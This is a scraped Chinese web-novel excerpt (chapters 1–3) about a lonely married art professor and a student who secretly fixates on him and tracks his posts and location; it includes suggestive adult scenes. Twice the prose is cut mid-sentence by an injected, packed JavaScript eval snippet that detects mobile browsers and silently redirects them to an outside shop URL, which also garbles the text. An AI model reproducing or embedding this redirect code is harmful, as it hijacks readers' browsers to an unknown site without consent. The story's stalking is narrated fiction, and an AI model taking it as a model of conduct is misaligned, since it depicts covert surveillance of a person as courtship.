《温暖那个寂寞的他》 1. 第 1 章 “……对不起,您拨打的电话暂时无人接听,请稍后再拨。” 这是今天的第七个电话。 谢念慈放弃了。 他有些想哭,但又不能哭。他的身后便是窗明几净的画室,员工和学生们正在上课,今天是静物写生,大多是隔壁美附的学生,年底就是艺考,大家都画疯了,一点点风吹草动,就会吓得他们精神衰弱。 谢念慈是个很好的老师,他从不把坏情绪带给学生,而是尽情宣泄在画布上。他在美术界名气不小,列宾美院出身的油画天才,前几年一幅蓝调都市油画拍卖出不菲的价格,但他从不自傲、更不清高,在A大美院的油画系任教,闲暇之余,和朋友一起开了这家画室兼画廊,给年轻人造一个关于美术的梦。 他的人生堪称顺遂,毕业后便开了画展,拿奖拿到手软,五年前嫁给了B市林氏集团的太子林承望,婚姻美满。三年前他和林承望的儿子出生,养好身子回到B市美院,他又顺利评上了正教授…… 完美人生。 谁人不羡慕。 谢念慈长长吐出一口气,盯着通讯录最顶端的“老公”两个字,泪水一时没忍住,簌簌而下。春夏之交的晚风带着一丝丝凉意,吹得他忍不住捂住了眼睛,试图将眼泪堵回去,不让人知道他哭过。 他的人生不能有泪水,如果让别人看见,会怎样揣测林家、揣测他和林承望的婚姻?林承望已经够忙了,他不想再让丈夫遭受风言风语。 他是完美的妻子。 “谢老师?” 一个温和的声音在背后响起。 谢念慈当即眨了眨眼,若无其事转过身,面露微笑:“是小蒋啊,怎么了?” 蒋淳看着他,轻声道:“没什么事,就是……看老师一个人站在露台上,有点不放心。” “有什么不放心的?”谢念慈笑容不变,“只是刚才出来打了一个电话,倒是你怎么跑出来了?毕设改好了?” 蒋淳:“差不多了,老师要去看看吗?” 谢念慈点头:“好。” 反正他也无事可做。 今天周六,儿子被林承望的父母接回家了,用不着他操心,手伸长了,八成要被唠叨几句。他的儿子才三岁,刚学会跑和跳的年纪,和亲爹不熟,和他也不怎么亲近,最亲近的人是日夜陪伴小孩的保姆阿姨。 谢念慈曾经一度想要改变这个现状。他很喜欢小孩,尤其爱自己和林承望的孩子,他天真地认为孩子是父母爱情的结晶,是紧紧捆住他和林承望的红绳。他和林承望高中开始谈恋爱,即便后来异国恋,也不曾有过生疏。 可儿子出生后,他费尽心思布置亲子时光、安排亲子出游,林承望却总是在接电话、接电话、接电话,对着手机笑,一放下手机,又变回冷淡的模样,摸摸他的发顶,亲亲儿子的脸颊,说,对不起,公司有事、外面有应酬、出国谈一笔生意…… 阿慈,你带着儿子好好玩,钱在账上,不够再和我说。 丈夫的声音在脑海回荡不止,谢念慈脚步渐渐虚浮,画室的走廊忽而变得很长很长,漫无尽头,走廊的尽头是他给美院大四学生的毕设工作室,不是他心心念念的林承望。 “谢老师……” 一只温暖的手轻轻碰了碰他的小臂,他今日穿了一件半袖白衬衫,素白的小臂露在外头,被空调吹得冰凉一片,被这突如其来的温度激出了一身的鸡皮疙瘩。他抬头,与蒋淳的眼睛对上视线。 蒋淳很有礼貌,仅仅只是轻轻碰了一下他的小臂,再无其他举动。 “谢老师,我们到了。”蒋淳说。 谢念慈顿觉抱歉,这几日他精神有些恍惚,动不动走神,连忙看向眼前的画架,认真看了起来。蒋淳原本不是他带的学生,之前的毕设导师家里出了事,自个也受了牵连,进狱了,剩下的这些学生只好分给其他的教授,蒋淳也就到了他的手下做毕设。 蒋淳和他的派系不太一样,他偏向印象主义油画,而蒋淳搞的是写实油画,据说中国画底子也不错。蒋淳毕设主题是敦煌印象,用精细的线条还原飞天飘逸的姿态,又将飞天放入了玻璃展柜中,试图呈现出一种古今辉映、似真似假的效果。 谢念慈看了几分钟,双手插入牛仔裤的口袋,沉吟片刻,说道:“挺好的,你的基本功非常扎实,人体不走形,还保留了壁画的灵动,高分是肯定没问题的,但是如果想要更上一层,我觉得……玻璃展柜这个概念有点画蛇添足了。” 蒋淳没有在看画,而是一直看他,说:“我很喜欢玻璃的材质,透明清澈绚丽,这一组画就是想表现玻璃之后的人生,即便是佛陀身旁的飞天,隔了一层玻璃,也有了现代的色彩。” 谢念慈笑笑:“你是这么觉得的?” 蒋淳耸耸肩:“我瞎说的,主要还是因为我喜欢画玻璃,特别喜欢画玻璃的光线变化,显得我在炫技,外行看了铁定夸我牛X。毕设嘛,我觉得就是用来炫技的,反正高分拿到手了,我也找到了工作,又不急着卖画赚钱。” 谢念慈绕着画板走了几圈,开玩笑说:“出名要趁早,你天赋高、又肯吃苦,真想在我这里当一辈子的画室老师?” “如果谢老师同意的话,完全没问题。”蒋淳给自己的毕设作品盖上遮尘布,嘴里到处跑火车,“当画室老师至少有工资拿,学生越多提成越多,不比搞纯艺饥一顿饱一顿好得多?我也喜欢教别人画画,这几年先在老师这里沉淀沉淀,等顿悟了,再考虑其他的方向。” 谢念慈原本想说,别把自己的灵气给拖没了,但他却没什么资格开口。说到底,他也是靠着林承望的资源和人脉走到如今的位置,他的人生够顺遂了,说什么都是一种炫耀。 招收蒋淳,一个是因为这个学生确实有两把刷子,把十七八岁的艺考生治得服服帖帖,为人爽快幽默,形象也好,很适合当帅哥模特,另一方面……蒋淳的家境相当一般,支持他走美术已经很吃力了,偏偏搞油画最烧钱。谢念慈一向爱惜有才华的学生,思来想去,给了蒋淳一个留在B市的机会。 此时已是饭点,学生们也陆陆续续从画室出来觅食,谢念慈看着眼前人来人往,忽然有几分淡淡的寂寞。他不想一个人吃晚饭,于是对蒋淳说:“我请你们吃饭吧,你叫里面的几个同学一起,听说附近一家私房菜不错,我们去尝尝味。” 画室地处繁华,临近大学城,周遭又有几个B市名列前茅的中学,餐饮业非常发达,吃的喝的应有尽有。毕竟是周末,来画室的人不多,跟着谢念慈一起吃饭的学生不过四五个,蒋淳收拾好东西,提着包,走在人群的最后面。 他打开了外卖app,翻了翻,下单了一个蛋糕,收货地点填的是待会要去的私房粤菜馆,一抬头,B市的喧嚣扑面而来。 B市是座不夜城,一到入夜时分,高楼大厦霓虹闪烁、灯海漫漫,红男绿女衣着鲜亮,热带鱼一般游入那些全国闻名的时尚坐标。谢念慈带他们去的私房粤菜馆,就紧挨着B市的时尚中心,可想而知人均消费不低。 这家粤菜馆十分有情调,三层法式小洋楼,没有多余的装饰,一切保留着洋楼原汁原味的浪漫,一进门,淡淡的檀香扑面而来,主体装修以红木为主,看得出老板品味不错,估计还是个艺术爱好者,墙上挂着许多近现代的中国画名家作品,也难怪谢念慈想来尝一尝了。 蒋淳一直在观察谢念慈。 从大二开始,他在楼梯间上与谢念慈撞了一个满怀。他往下,谢念慈往上,他刚刚下课,急着去打工,谢念慈来迟了,急着给学生上课,两个人都不看路,撞得眼冒金星,互相道了歉,又匆匆分开。蒋淳向下走了几步,忽然愣住,抬起手,嗅见手臂上浅淡温和的香水味。 谢念慈似乎并不记得这一个小小的插曲,之后的几年,蒋淳是他的学生,坐在台下,听着他讲美术史,或者听同学们八卦他的婚姻、事业。谢念慈是蒋淳大学生涯绕不过的一个坎,偏偏他不记得他。 但现在好了。 蒋淳脸上露出一丝微笑,偏过头,轻轻看着翻看菜单的谢念慈。 他已经走到了谢念慈的身边。 包间光线略显昏暗,谢念慈留着半长发,松松系在脑后,几缕发丝垂落,勾在脸颊上,轻轻晃动。蒋淳的目光顺着发尾飘忽不定,从对方素白的脸庞,一直落到左手无名指的铂金戒指,搭在膝盖上的手不自觉握成了拳。 “……一份金银菜炖润肺……大份的龙虾汤贵妃泡饭……杨枝甘露的话,每人一例,我们是几个人来着?” 谢念慈抬起头,笑眯眯问道。 蒋淳说:“一共六个人,谢老师不用点太多菜,我怕待会吃不完。” “吃不完没关系,打包就好了,我还怕不够你们吃呢。”谢念慈说。 蒋淳正要接话,忽而听到嗡嗡嗡的手机震动声,他目光轻移,从谢念慈的手机屏幕一掠而过,上面赫然是“老公”两个字。 他忽而没了所有的兴致。 谢念慈拿起手机,看一眼来电,几乎是跳了起来,两颊泛起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146433|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡的红,对他们说:“我出去接个电话,你们先吃。” 说罢,快步走出了包间。 他一走,几个学生立马放松了下来,打游戏的打游戏,聊天的聊天,聊天内容围绕“谢教授真有钱啊”、“不对不对应该是他老公有钱”等话题。一旁的男生用手肘戳了一下蒋淳,八卦道:“诶诶,你有看到谁的电话吗?” 蒋淳正在用餐馆的热毛巾擦手,闻言淡淡道:“没有。”随后起身,对男生不好意思笑笑,“我去一下卫生间,有什么事待会再说吧。” 美院里是个人都爱打听谢念慈的八卦。长得漂亮,老公有钱,年纪轻轻评上了教授,说没有后台谁相信?况且早年谢念慈的画展,背后的股东都是林氏,回到B美任教后,学校的许多项目林氏也插了手……学生喜欢谢念慈,因为他好说话,不过分严格也不会放任学生,但不妨碍在背后偷偷阴谋论。 蒋淳一直在通过流言认识谢念慈。 但流言终究是流言,真正的谢念慈是什么样的呢? 他关上包间的门,去了一趟卫生间,只是洗了洗手,随后沿着走廊,向尽头的露台走去,那里只有一个人的背影,谢念慈的背影。 谢念慈擅长画风景,他笔下的一切总是蒙着一层雾,雾蒙蒙的原野,雾蒙蒙的城市,雾蒙蒙的起居室……时间基本是太阳刚刚落山的那十几分钟,天地幽蓝,他用一线金色、或者白色,寥寥几笔,画出透过雾气那一丝微光。 天已经黑了,小洋楼之外就是沸腾的都市,光线太满太嘈杂了,五光十色堆在一起,看得人眼睛疼。只有玻璃门之外的谢念慈穿着白衬衫蓝牛仔,捂嘴低泣时,脸颊流下一线银光。 你哭什么呢? 为谁而哭呢? 蒋淳远远看着露台上的谢念慈。 是那个你打了七次电话,才回你一次电话的丈夫吗? …… “抱歉,今天太忙了,待会还有酒局。” 男人的声音隔了大半个国土,电磁波让它失真,听起来闷闷的,背景音更是嘈杂,吵得谢念慈头疼。 “你在哪呢?”谢念慈问。 林承望说:“在KTV,G市管地皮的领导喜欢唱K,我在这里陪他们。怎么了?今天给我打了好几次电话,太忙了,开了静音。” 谢念慈盯着不远处大楼的LED灯,上头一会儿滚动着招商广告,一会儿又变成求婚语录,写:XXX,请嫁给我吧!我爱你一辈子。想必这栋楼底下正是如火如荼的求婚现场。 他说:“为什么小夏也不接?” 小夏是林承望的助理。 “小夏生病了。”林承望说。 对面忽然传来一个甜腻的声音,一直“林总林总”唤个不停,谢念慈听了心砰砰乱跳,直截了当问:“谁在叫你?” 林承望说:“这边领导的一个下属,好啦,我这里太吵了,晚上再打给你,好不好?” 对面那个甜腻的声音不喊林总了,转而唱起了歌,还唱的苦情歌,惨兮兮的,被一个粗犷的男声吼了下来,换成了《精忠报国》。 谢念慈低下头,没头没脑说了一句:“林承望,你说,祝谢念慈生日快乐。” 林承望明显愣了一下,半晌,声音沙哑道:“对不起,宝宝,我忘了……对不起,祝宝宝生日快乐,我下周就回B市了,陪你和儿子一起去环球影城玩……” 谢念慈挂了电话。 对面没有再打过来,而是直接打了一笔大数额的钱,发消息说,晚上回去和他打视频电话。 总是这样。 一直是这样。 承诺的视频电话也会忘记。 所有人都觉得他只是为了钱和林承望结婚,连林承望也是这样想的,一惹他不高兴了就给他打钱,如果有一天出轨了,是不是也拿钱把他打发走了? 谢念慈咬着唇哭了一会儿,三十一岁生日,丈夫、儿子、父母都不在他的身边,B市那么大,他却没有人陪,也不好意思去打扰朋友,晚上八九点把人家拉出来听他诉苦,只好请学生吃饭,让这群二十岁出头的小年轻陪一陪自己。 擦干眼泪,谢念慈转过身,却发现玻璃门后站着蒋淳,不知站在那里多久了。 “你怎么出来了?”他勉强笑了笑。 蒋淳推开玻璃门,对他笑,非常真诚阳光的笑容,说:“老师,生日快乐,我和同学们订了一个蛋糕,马上就要送过来了……” 谢念慈懵了:“你怎么知道我的生日?” 2. 第 2 章 蒋淳当然知道谢念慈的生日。 这不是什么秘密,就挂在谢念慈的社交软件介绍栏,这两年他把谢念慈的社交账号翻了个遍,给人设置了特别关注,一发内容,他总能第一时间看到。 去年谢念慈生日,发了一张他和他儿子的照片。照片上谢念慈戴着生日帽,怀里的小孩长得和他有几分相似,蛋糕上的烛光星星点点映在眼底,母子俩笑得十分甜蜜。 蒋淳保存了这张照片。 旋即他点开评论区。 有人问:“谢教授,谁给你拍的照呀,把你拍得好漂亮哦,宝宝也很可爱。” 谢念慈回复:“是我老公哦[捂嘴笑]” 蒋淳关闭社交平台,点开相册,又把那张照片删了。 谁曾想呢…… 今年竟让他抓住了机会,给谢念慈拍照。 其实他很早之前就订好了蛋糕,原先想订那种卡通蛋糕,但想了想,恐怕会吓到谢念慈,一个学生,对自己喜欢的卡通形象了如指掌,怎么想都不对劲吧?故而他精挑细选,订下一款咖啡冰淇淋蛋糕……谢念慈早上都要去楼下的咖啡店买一杯冰美式。 如果谢念慈很早就走了,和家人过生日,他就装作是自己订蛋糕来奖励自己的,和画室的人分一分;如果……如果……如果谢念慈不走…… 谢念慈不仅没有走,甚至还自投罗网。 蒋淳微微有些自得了。 他半真半假说:“老师的社交账号上写了啊,也是我前几天才发现的。老师过生日为什么不和大家说呢?还请我们吃饭,搞得同学们都不好意思了。” 谢念慈的脸有些红:“我……我怎么好意思让学生请我吃饭?谢谢你,小蒋,以前郭教授常常夸你细心……我都不知道该怎么感谢你了。” 蒋淳说:“不,应该是我谢谢老师,这一年帮衬我许多……我还是个学生,没什么能替老师做的,但陪老师过一个生日,还是没问题的。走,我们回包间,别让大家久等了。” 回到包间,蛋糕已经被服务员端上来了,白巧制成的牌子上写“祝谢教授生日快乐”,蛋糕通体咖啡色,最上层撒了一层糖霜,简约但香味浓郁。蒋淳偷偷觑着谢念慈,瞥见人的耳垂都红了,自己也忍不住偏过头咳了一声。 蛋糕一送上桌,这群大学生还不知道发生了什么?干啥啥不行,起哄第一名,一个男生当即跳起来,大喊:“谢教授生日快乐!谢谢教授请我们吃饭!”大家乱七八糟把谢念慈簇拥到桌子前,又是点蜡烛又是唱生日歌,谢念慈脸红透了,嘴巴张了又张,似乎实在找不出话,就一个劲地看向蒋淳,紧紧抿着唇,示意他救场。 蒋淳笑着低下头,手指翻动几下,蛋糕店送的生日帽折好了,相当可爱的王冠造型,王冠上还趴了几只小猫小狗。他挤开围在谢念慈身边的同学,从身后给人戴上生日帽,说:“差不多行了,赶紧让谢教授许愿吹蜡烛,一会儿还有菜要上呢!” 几个同学嘘他,他也不生气,笑容璀璨站在谢念慈身边,不远不近,肩膀有一拳的距离,他的余光瞥见谢念慈脸全红了,双手背在身后不停打着绞,那枚铂金戒指在昏暗的光线下闪出微渺的光。 这家私房菜非常有人情味,一看有客人要过生日,经理拿着拍立得过来,问他们需不需要拍照留念,谢念慈点了点头,大伙就围在他的身边,拍了一张集体照。刚刚点燃蜡烛,蒋淳追出去,问经理借来拍立得,说,单独给谢教授拍一张吧。 烛光映在谢念慈的脸庞,暖黄中掺着一抹绯红,他合拢双手,闭上眼睛,嘴里念念有词,应该是在许愿。有学生把包间的灯关了,那一捧暖暖的光像是被谢念慈握在在了手心,发梢、睫毛都染上了闪烁的星色,生日帽亦反射着烛光,显得许愿的人有几分童真。 蒋淳举起拍立得,对准谢念慈,笑着说:“我要拍咯。” 他明显看到谢念慈身体一僵,似乎有些紧张,随后双掌合拢得更紧,似乎很想拍好这一张相片,但眉头因为太用力,皱了起来。他又语气温和道:“谢老师,别那么紧张嘛。” 谢念慈肩头微微放松,在那一瞬,蒋淳按下了快门。 蒋淳很喜欢拍立得照片的过曝效果,会让照片里的人微微失真,因为失真,反而更像是一段凝固的时光,那些过曝的光,仿佛经过了许多年的岁月,终于来到照中人的身上。而且谢念慈长得很有韵味,巴掌大的拍立得几乎完全突出了他那股数不清的气质。蒋淳不会用长得漂亮来形容谢念慈,以前有朋友问,你喜欢的那个人长得怎么样?他说,很有韵味,成熟中带着一点青草的香气。朋友大笑,原来你小子喜欢熟女啊! 这顿饭吃到了九点多,厨房还送了长寿面和甜品,谢念慈没让学生AA,大几千的一顿饭眼也不眨花了出去,没刷和林承望绑定的那张卡,刷的是他自己的工资卡。把学生们送回美院,他开着自己的那辆路易斯回家,开到一半,忽然想起吹蜡烛时拍的几张照片,翻了翻包,没看到,便自言自语道:“不会啊……小蒋明明给我了……” 他仔细回忆,八成是被忘在桌上了,只好拿出手机,给蒋淳发消息。 【小蒋,不好意思啊,我好像把照片落下了,你有看到吗?】 发出消息后,对面暂时没有回复。 谢念慈也不急,回想了一下方才的晚饭,或者说,一场简单的生日聚会,唇齿之间仿佛还残留着蛋糕的醇香,不由得笑了笑,左手扶着方向盘,右手打开了车载音响,英摇从音响里流泻而出,他轻轻跟着哼,头也微微摆了起来。 是哪家的蛋糕? 他明天要去问一问蒋淳。 一直到停车入库,熄灭发动机,一切归于寂静。 从后视镜看去,能看到后座上安置的儿童座椅,几本早教图书和玩具散落在座椅上,车一停,戴着铃铛的小狗玩偶叮铃叮铃地滚动。如果儿子在车上,他只能放早教歌曲了,一二三四五、妈妈的妈妈叫什么,听得耳朵起茧。如果林承望在副驾驶,他不好打开音响,因为林承望大多时候一脸疲倦,一上车倒头就睡。 心头一动,他想起十年前和林承望自驾游横穿欧洲,追着两个人都喜欢的摇滚乐队到处跑,乐队到哪儿驻唱,他们就跑去那个国家玩一段日子,他们追过极光,在阿尔卑斯山滑过雪,在地中海晒过太阳,被伦敦的扒手偷过钱包……年轻且恣意。 谢念慈渴望热闹,又害怕热闹过后的寂静,譬如此时此刻。 高档小区的安保严密,可他走在空荡荡的地下车库,脚步声格外清晰,惨白惨白的灯悬挂在头顶。他蓦然想起前几天看过的恐怖片,开头就是主角目睹停车场的碎尸,忍不住自己吓自己,生怕有什么脏东西跟着自己,赶紧跑进电梯间上楼回家。 【油画系xx级蒋淳:是,在我这里,我看老师落在了桌上,原本想给老师的,结果自己也忘了……明天我放老师的办公桌上[跪地]】 手机屏幕一闪,弹出消息框。 电梯一层一层向上跃动数字。 谢念慈看着男生的头像,应该是某个学生画的恶搞大卫,给大卫戴了一副墨镜,光影处理得还不错。他回道:【[OK]】 蒋淳…… 谢念慈脑海里浮现出男生高大挺拔的身躯,喃喃道:“果然很会来事啊。” 别的教授评价蒋淳,说这个孩子很会来事,双商高,会说话,在各种奇葩集合的美院里堪称稀少,天赋也高,日后必有大作为。 谢念慈表示同意。 谁能忘记一个给自己过生日的学生? 哪怕谢念慈仍觉得有那么些许尴尬,但也确实十分感激,以至于他一踏进家门,满屋寂寥,竟然产生了一点所谓的戒断反应。 他没有开灯,落地窗外的B市夜景足以照亮客厅,随意踩着拖鞋走到开放式厨房,打开酒柜,拿了一瓶干红,懒得醒酒,又换成了威士忌,坐在吧台前喝干酒。 他在等一个人的视频电话。 小鱼被林承望父母带去郊区庄园玩了,照顾小鱼的覃阿姨请了假,林承望出差,他之前养的几只猫被送走了,理由是养宠物会导致卫生问题对小孩不好,即便他请求腾出一间屋子专门养猫,不让小鱼碰,林承望的父母依然拒绝了。 但小鱼也应该还是爱他这个妈妈的吧。 他端着酒杯走去儿童房,翻出小鱼昨天画的简笔画。 一个蛋糕。 很丑的蛋糕。 谢念慈觉得很可爱。 昨天他去接小鱼放幼儿园,小鱼举着这副画对他说,妈妈生日快乐。他高兴死了,不停亲儿子的脸蛋,一点儿也不想把小鱼送到林承望父母那里,不管怎么样,小鱼还是爱他的,是他不好,什么都想做好,却又什么也没做好。 还是没来电话。 谢念慈坐到了凌晨,不等了,洗澡躺到床上,偌大的双人床另一侧常年没有人,明明他还记得两个人刚同居的时候,林承望说,夜里不抱着他睡觉的话,会睡不着。可现在睁眼无眠的人却成了他。 他打开手机,阴差阳错,点开了出行软件。 林承望不回来陪他,他就不能去找林承望吗? 心被自己挠得痒痒的。 又或许是那个甜腻腻的声音实在让他倍感不安,他当机立断,订了白天下午三点飞G市的机票,一骨碌爬起身,收拾行李。 就去一天,明天就回来。 他只是想看看林承望。 但只待一晚上,实在没什么好收拾的,他往行李箱塞了几件qqny,塞一件脸红一下。其实他不大喜欢穿这种衣服,太贵的不好脱,太便宜的又穿着刺挠,而且很……羞耻,该遮的不遮,偏偏林承望喜欢得不行。这人看着不拘言笑,私底下却有许多怪癖,弄得谢念慈常常起不来床。前几年两个人备孕的时候买了一大堆怪里怪气的衣裙,他生完小鱼后,林承望开启了常年在外的忙碌人生,这些衣服自然被压在了柜底。谢念慈安慰自己,只是带着,又不一定用得上,他只是想让林承望陪一陪自己,单纯睡一觉也很好。 收拾完行李,天已大亮,他发消息给助理小夏,问小夏他们在哪一个酒店。 小夏居然还醒着,发来了一个地址,谢念慈很熟悉,是林氏旗下的一家高端酒店,他去G市办画展开讲座也常常住在那儿。他求小夏不要告诉林承望他要去见他,就当成一个惊喜。 小夏那头沉默许久,才回道:【好的太太,我不会告诉林总。】 谢念慈又发消息道:【你们林总最近胃还好吗?】 小夏:【酒局很多,前几天还喝吐了,对不起太太,我没看好林总[哭泣]】 谢念慈:【没事的,不怪你,你也少喝点。】 这帮人一应酬起来真是没完没了,林氏集团主要做房地产生意,再是财大气粗,也得惦记管地皮的那帮大领导的脸色,况且这几年房地产泡沫,林氏随时面临市场和政策上的风险。而且……林承望这么拼命,也是为了要在林父面前证明自己。 谢念慈一大早订了新鲜的蔬果生肉,忙里忙外,给林承望煲汤。 这一年他都是这么劝自己的,没关系,林承望很忙,但林承望依旧很爱他,他可以靠着以前的青春回忆继续爱林承望。很多年前他和林承望吵架,他说自己要一个人去西伯利亚采风,让林承望永远也找不到他。林承望当即飞过半个地球,降临在他的面前,说,不论你去哪儿我都会找到你的。 真的吗? 无论我在哪里,你都会找到我吗? 城市渐渐缩小成一片黑影,云层托举机翼,透过舷窗,外面是一望无际的碧空。谢念慈靠在窗边,看着飞机下面的云发呆。既然林承望不肯找他了,那他去找林承望吧,他永远记得那个飞越半个地球来见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146434|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的林承望,他永远爱他。 …… 蒋淳将那几张照片复制了一份,随后把原件放在了谢念慈的桌上,用相框压着,相框上是谢念慈儿子的艺术照。 此时已是下午时分,谢念慈一整天都没来。 蒋淳倒也不算失落,凡事都要慢慢来,好比温水煮青蛙,再险恶一点,步步为营。他在谢念慈心里仍然只是一个学生,但没关系,他布置了天罗地网,静候佳人。他有的是耐心。 等到他吃过晚饭,在舍友吱哇乱叫的游戏声中打开社交平台,入目便是谢念慈的最新博文:【五年了,这家水牛乳双皮奶还是很好吃![图片]】 蒋淳皱起了眉。 他立马查看谢念慈的ip地址——G省。手指仓促在屏幕上滑动几下,不小心点了一个赞,喃喃自语道:“他去G省干什么?” 随后定神,点开了照片。 一碗堆满芒果的双皮奶,很正宗,周围食客也很多,桌上露出一角打包好的食品盒,右下角还有一点点行李箱的踪迹。拿着勺子的手纤长素白,另一只手悬在勺子下方,似乎担心那颤颤巍巍的双皮奶会掉落…… G省、私房粤菜馆…… 那个男的在G省出差? 谢念慈去找他了? 蒋淳冷笑一声。 计划再精密,却也抵不过突发状况。谢念慈有自己的人生,那段人生里全是另一个男人的痕迹,而蒋淳至始至终只是一条平行线。他疯狂卷绩点、练习基本功,精心设计每一次接近,不过就是为了更靠近谢念慈一点。他好胜心强,一旦看上什么人或者东西,不抢到手,绝不放弃,哪怕对方是个有夫之妇。 【老师】 手一抖,字还没打完,消息先发了出去。 撤回。 不。 【老师,你今天没有来画室吗……】 不对,显得他太在意谢念慈的行踪了。谢念慈性格具他观察,应当是十分细腻敏感的那一类人,突然靠太近,会引起怀疑。 语音通话/视频通话。 不对,手真贱,怎么点到这里了? 视频通话。 蒋淳猛地起身,在舍友看傻叉的眼神中跑到阳台上,抓着手机的手剧烈颤抖。这是计划外的一环,是意外,但他还是做了,原来他也控制不住自己……谢念慈会接吗?接了,他又该和谢念慈说什么? …… 谢念慈到达酒店后,在小夏的配合下,赶在林承望回房前,悄然潜入了套房。 他仔细将保温饭盒、打包的双皮奶摆好,在客厅里踱了几圈,心跳得厉害,最终还是心一横,从行李箱最内层抽出一件蕾丝旗袍:完全由轻而薄的蕾丝制成,网眼或细密、或狂放,下摆只是几条细绳,串满了小珠子。他匆匆换上,又实在羞耻,慌忙在外面罩上了浴袍,还是觉得欲盖弥彰,索性将旗袍掩在平日穿的衬衫与长裤之下。他穿衣风格简约,各色各式样的衬衫配上长裤,得体大方,加之平时偶尔会佩戴防辐射的平光黑框眼睛,乍一看以为是隔壁高校做科研的,而不是搞艺术的。 咔哒,门锁轻响。 谢念慈呼吸一顿。 林承望正侧身与小夏低声交代着什么,推门转身的刹那,目光与屋里的他相撞,神色一瞬空白。 “阿慈?” 林承望脱口而出。 小夏极具眼色,在老总问罪之前,赶紧把门带上,溜之大吉。 屋里只剩下夫妻二人。谢念慈被身上的蕾丝弄得有些难受,这衣服下面的绳子既勒他、又磨他,他难耐地并拢双腿,生怕浅色牛仔裤湿了,被林承望调笑。他垂下头,说:“老公,我很想你。” 林承望似乎叹了一口气,大步走上前抱住他,亲了亲他的额头,说:“你怎么来了?也不说一声……” 谢念慈被男人圈在宽厚温暖的双臂之中,几乎软了身子,他闭上眼睛,鼻间满是爱人的气息,声音闷闷道:“我来要我的生日礼物。” 林承望说:“对不起,宝宝。” 其实在谢念慈看见丈夫的那一刻,他已经不那么难过了。林承望高大依旧,挺拔如昔,脸庞英俊深刻,但或许是因为日夜忙碌,眼下有着淡淡的青黑。谢念慈一看到爱人浑身疲倦,立马就心疼了,拉着人来到桌前坐下,打开保温桶,环住林承望的脖子,说:“晚上吃过了吗?小夏说,你前几天喝吐了,煮了猪肚山药汤给你暖暖胃。对了,你还记得那家清记甜品吗?以前我们来G市,你说你很喜欢他家的双皮奶……” 林承望低头吻住了他,轻声说:“谢谢你,宝宝。” 谢念慈推开丈夫的脸,满脸通红:“你先吃饭。” 林承望干脆把人抱在腿上,就着妻子的手喝汤。汤水温热,小炒爽口,份量不多不少,谢念慈总是很细心,凡事准备妥帖。 包括保险用品。 待林承望用完晚饭,他鼓起勇气,跨坐在丈夫的身上,齿间轻轻咬住一枚未拆的方形铝箔包,眼睫低垂,不敢看身下的人,含糊道:“老公……帮我解开。” 林承望面露疑惑:“你的生日礼物只要这个吗?” 谢念慈拍了他一下:“你好烦!我都不生你的气了,你还要惹我生气!” 白衬衫的纽扣被一颗一颗解开,黑色蕾丝一点一点展露……谢念慈仍叼着那枚银色小袋子,眼眸湿润温柔,里面满是林承望一个人。红晕从他的耳垂一直蔓延至脖颈,没入旗袍的领口,锁骨缀着珍珠盘扣,往下的衣料戛然而止,唯有两粒珍珠颤颤夹着,再往下,柔软的小腹在黑色蕾丝之下若隐若现…… 嗡—— 嗡—— 手机在床头柜上震动个不停,屏幕亮起,照亮一小片昏暗。林承望轻轻吻着妻子的颈侧,余光瞥见闪个不停的手机,声音含混地问: “宝宝,是不是你手机在响?” 3. 第 3 章 只要响过三声,蒋淳想,他就挂断。 计划之外的他,是个赌徒。 三声了。 不想挂断。 再等等。 等…… “……小蒋?怎么了?突然给我打电话。” 谢念慈的声音从听筒流出,带着微微的哑和疲惫。 蒋淳一瞬大脑空白。 他听到对面有个男人在说话:“宝宝,是谁?” 谢念慈似乎掩住了手机,低声道:“我的一个学生。” 话筒那侧传来悉悉索索的动静,蒋淳无意识用手扣着窗台边缘脱落的墙皮,他垂着眼眸,仔细听谢念慈的一切声响,下床,穿拖鞋,走路……还有另一个男人的活动痕迹,在床上翻身、打哈欠…… “谢老师,不好意思,怎么晚了还打扰您。”他语气平静,“就是……您今天不在学校也不在画室,但明天早上我们的作品就要打包上交了,我有点不放心,您觉得还有哪些地方需要改动的吗?” 谢念慈揉了揉眉心,说:“你那副作品吗?没有问题了,你交上去肯定能拿高分的。” 蒋淳说:“好的,打扰老师了。” “没事,拜拜。” “拜拜。” …… 挂了电话,谢念慈吐出一口气,看着通话记录,心里有些疑惑不解。蒋淳打电话就是为了找他说这一件小事?但想到林承望还在等着他,没多想,转身便回到了卧室。 林承望躺在床上,已经闭上眼了,问:“大半夜的,你学生给你打电话干什么?” 谢念慈说:“他有点不放心他的毕业设计,没什么大事。”说着,爬上床,再一次抱住了林承望,“老公,好啦,我们继续吧。” 谁料林承望只是轻轻拍了拍他的腰,面露疲惫道:“算了,下次吧,宝宝,我明天早上还有会议,七点就要起床。你也早点睡,明天还要坐飞机赶回B市呢。” 谢念慈缓缓僵在丈夫的怀里,心一点一点沉下去。 这样也不行吗? 他们已经有半年没亲密过了…… 是没有激情了吗?是他不年轻了吗?是他不够放得开吗? 但他已经尽力了,换上林承望喜欢的衣服,千里迢迢,只是想和最爱的男人拥抱……睡不着,怎么睡得着?但他昨夜也没有睡觉,精神紧绷到了极点,一闭上眼,孤独如潮水袭来,几乎将他溺毙。 